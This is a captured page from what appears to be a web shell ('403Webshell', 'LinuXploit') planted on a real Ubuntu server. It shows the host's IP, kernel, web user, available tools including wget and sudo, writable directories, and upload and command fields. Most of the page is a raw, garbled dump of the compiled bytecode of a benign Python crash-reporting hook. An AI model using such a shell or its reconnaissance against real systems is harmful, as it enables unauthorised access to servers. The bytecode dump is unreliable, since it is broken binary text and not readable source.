403Webshell
Server IP : 61.19.30.66  /  Your IP : 216.73.216.15
Web Server : Apache/2.2.22 (Ubuntu)
System : Linux klw 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64
User : www-data ( 33)
PHP Version : 5.3.10-1ubuntu3.48
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python2.7/dist-packages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.7/dist-packages/apport_python_hook.pyc

Yc@sCdZddlZddlZdZdZdZdZdS(s:Python sys.excepthook hook to generate apport crash dumps.iNs/etc/default/apportcCsWddl}y2ttj}|jd||jdkSWntk
rRtSXdS(s4Return whether Apport should generate crash reports.iNs^\s*enabled\s*=\s*0\s*$(	tretopentCONFIGtreadtsearchtMtNonetIOErrortTrue(Rtconf((s6/usr/lib/python2.7/dist-packages/apport_python_hook.pytenableds 
cCsRz.|tfkrdSts#dSt|drK|jdkrKdSnyddlm}Wn!tk
rddlm}nXddl}ddl	}ddl
m}m}y2t
jjt
jjt
jtjd}WnLtttfk
r1yt
jdt
j}Wq2tk
r-dSXnXt
j|t
js[t
jj|r_dS||sodSddl}	|	jj}
|}|j |||d	||j!j"|
d
<|
j#|
j$||
d<ydtj|
d
<Wntk
rnX|
j%rdS|j&dd|}t
j'}
dt
j(j)dd||
f}d}t
jj*|r|	j+j,|r|t-|d}|dkrdSt
j.|qdSn|rt/||
d<nt
j0t
j-|t
j1t
j2Bt
j3Bdd}z|
j4|Wd|j5XWdtrMtj6|||nXdS(s1Catch an uncaught exception and make a traceback.Nt
get_dbus_names"org.freedesktop.DBus.Error.NoReplyi(tStringIO(tlikely_packagedtget_recent_crashesis/proc/%i/exetfilet	TracebacktExecutablePaths%rt
PythonArgst/t_s%s/%s.%i.crashtAPPORT_REPORT_DIRs
/var/crashitCrashCounteritw(7tKeyboardInterruptR
thasattrRt	cStringIORtImportErrortioRt	tracebacktapport.fileutilsR
Rtostpathtrealpathtjointgetcwdutsystargvt	TypeErrortAttributeErrort
IndexErrortreadlinktgetpidtOSErrortaccesstX_OKtisfilet
apport.reporttreporttReporttprint_exceptiontgetvaluetstript
add_proc_infot
add_user_infot
check_ignoredtsubtgetuidtenvirontgettexistst	fileutilstseen_reportRtunlinktstrtfdopentO_WRONLYtO_CREATtO_EXCLtwritetcloset__excepthook__(texc_typetexc_objtexc_tbRRRR
Rtbinarytapporttprttb_filetmangled_programtusertpr_filenamet
crash_countertreport_file((s6/usr/lib/python2.7/dist-packages/apport_python_hook.pytapport_excepthooksx
	
2
	)	



#cCs
tt_dS(sInstall the python apport hook.N(RTR$t
excepthook(((s6/usr/lib/python2.7/dist-packages/apport_python_hook.pytinstalls(t__doc__RR$RR
RTRV(((s6/usr/lib/python2.7/dist-packages/apport_python_hook.pyt<module>s		n

Youez - 2016 - github.com/yon3zu
LinuXploit